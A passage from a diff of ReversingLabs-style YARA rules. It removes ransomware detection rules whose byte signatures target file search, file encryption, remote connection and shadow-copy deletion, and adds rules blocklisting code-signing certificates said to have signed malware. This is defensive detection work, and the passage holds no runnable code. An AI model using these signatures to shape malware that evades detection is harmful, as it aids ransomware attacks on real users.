?? ?? ?? ?? E8 ?? ?? ?? ?? - C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? - ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 - 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - A1 ?? ?? ?? ?? 8B 00 8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 - ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 - ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3 - } - $find_files = { - E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? - 84 C0 0F 85 ?? ?? ?? ?? 33 C0 89 43 ?? 8B 43 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 7C ?? 46 - 33 FF 8B 43 ?? C7 04 B8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8B - F0 85 F6 7C ?? 46 33 FF 8B 43 ?? 8B 40 ?? 8B 14 B8 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 43 ?? 8B 53 ?? 89 14 B8 47 4E 75 - ?? 8B 73 ?? 4E 85 F6 7C ?? 46 33 FF 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 04 BF 8B 53 ?? - 8D 04 C2 89 43 ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? 8B 10 8B 45 ?? E8 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B - 45 ?? 33 D2 E8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? - ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? BA ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? - ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 - E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? - ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Amma" and ( pe.signatures [ i ] . serial == "00:cb:d3:7c:0a:65:19:13:ee:25:a6:86:0d:7d:5c:cd:f2" or pe.signatures [ i ] . serial == "cb:d3:7c:0a:65:19:13:ee:25:a6:86:0d:7d:5c:cd:f2" ) and 1431734400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_5Fe0Ad6B03C57Ab67A352159004Ca3Db : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "d1cf11fc-eb30-54fc-9e34-91ad0c67e694" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13150-L13166" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "6f2489421f2effa2089b744f7e137818935fe2339d9216a42686012c51da677b" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and $find_files and $encrypt_files_1 and $encrypt_files_2 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SpectorSoft Corp." and pe.signatures [ i ] . serial == "5f:e0:ad:6b:03:c5:7a:b6:7a:35:21:59:00:4c:a3:db" and 1402272000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Awesomescott : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_642Ad8E5Ef8B3Ac767F0D5C1A999Bdaa : INFO FILE { meta: - description = "Yara rule that detects AwesomeScott ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "36d3b801-dbdb-585a-ac80-1827a6749c87" - date = "2020-09-16" - modified = "2020-09-16" + id = "d29e2342-2d38-5939-aa3f-4506fb36c74a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.AwesomeScott.yara#L1-L101" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13168-L13184" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ed8096a4abbd015f79f4ec7239cd4070194ad70fa03da6714e499a41f9fb9423" + logic_hash = "d42d40ca381b99b68a3384cecf585aab2acca66d4e13503d337b1605d587d0b5" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "AwesomeScott" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 57 41 54 41 55 41 56 41 57 48 83 EC ?? - 45 33 FF 4C 8B F2 49 8B D8 4C 89 78 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 4C - 89 78 ?? 4C 89 78 ?? 4C 89 78 ?? 4C 89 78 ?? B8 ?? ?? ?? ?? 48 8B F1 45 33 C9 44 8B - C0 8B D0 49 8B CE 45 32 ED 48 83 CD ?? 49 8B FF FF 15 ?? ?? ?? ?? 4C 8B E0 48 3B C5 - 75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? - ?? ?? E9 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8B CB 41 8D 51 ?? 45 8D 41 ?? C7 44 - 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B E8 48 83 F8 ?? 75 - ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? - ?? E9 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 44 8B CB - } - $encrypt_files_p2 = { - 44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? - 4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 44 8B CB 33 D2 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C - 24 ?? 48 8D 44 24 ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 89 44 24 ?? FF 15 ?? ?? ?? - ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 0D ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 44 8B C0 45 33 C9 FF 15 - ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B - 44 24 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 41 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 44 24 - ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? - ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 DB 90 4C 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 49 8B - CC 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? - 48 8B 4C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F B6 DB 0F 42 D8 48 8D 44 24 - ?? 45 33 C9 48 89 44 24 ?? 44 0F B6 C3 33 D2 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 - } - $encrypt_files_p3 = { - 74 ?? 44 8B 44 24 ?? 4C 8D 4C 24 ?? 48 8B D7 48 8B CD 4C 89 7C 24 ?? FF 15 ?? ?? ?? - ?? 85 C0 74 ?? 84 DB 0F 84 ?? ?? ?? ?? 41 B5 ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? - ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D - 15 ?? ?? ?? ?? 44 8B C0 48 8B CE E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 49 8B CC FF 15 ?? ?? - ?? ?? 48 85 ED 74 ?? 48 8B CD FF 15 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF E8 ?? ?? ?? - ?? 48 8B 4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B - D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C - 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 8B - 4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? - ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? - ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? - ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 48 8B 4C 24 - } - $find_files = { - E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 F6 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? - ?? 00 00 E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 - ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 - F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 4C 8D 44 - 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D - 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? - ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? - ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 - 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C - 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? - FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 - ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? - ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 48 8D - 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 - 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ?? - 4C 8D 44 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? - ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 39 74 24 ?? 76 - ?? 4C 8D 0D ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 - ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 48 8B CB FF 15 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Itgms Ltd" and pe.signatures [ i ] . serial == "64:2a:d8:e5:ef:8b:3a:c7:67:f0:d5:c1:a9:99:bd:aa" and 1447804800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_5333D3079D8Afda715703775E1389991 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "4db299c6-5be9-5900-a944-07a0a41920a4" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13186-L13202" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "98bd9d35c4e196a11943826115ab495833f7ef1d95f9736cc24255d6dd4fd21c" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and $find_files and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trambambon LLC" and pe.signatures [ i ] . serial == "53:33:d3:07:9d:8a:fd:a7:15:70:37:75:e1:38:99:91" and 1239148800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Denizkizi : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_139A7Ee1F1A7735C151089755Df5D373 : INFO FILE { meta: - description = "Yara rule that detects DenizKizi ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e16a00d6-d5b8-5702-9cd7-d037b0ff46a3" - date = "2020-06-26" - modified = "2020-07-15" + id = "eaab67a1-ed7a-58f3-afb3-3637c3b72020" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.DenizKizi.yara#L1-L88" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13204-L13220" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fbeb01263d6f68141e094ba8fb1c1a54c601ab24292f5c6b0eb8cb0c49f46afc" + logic_hash = "86072fef7d1488dc257c3ca8fbb99620ec06f8ecb671b4e20d09d0ce6cc8601d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "DenizKizi" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? - ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? - 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B - 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? - ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 - ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 - FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? - ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 0D ?? ?? - ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 - 45 ?? 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? - ?? ?? 8B 45 ?? 8B 10 FF 12 52 50 8B 45 ?? 8B 10 FF 52 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 50 8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? - 8B 45 ?? 8B 10 FF 52 ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 50 - 8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ?? - E8 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 - } - $delete_shadow_copies = { - 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 - 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B - 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B - 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B - 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B - 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? - ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? 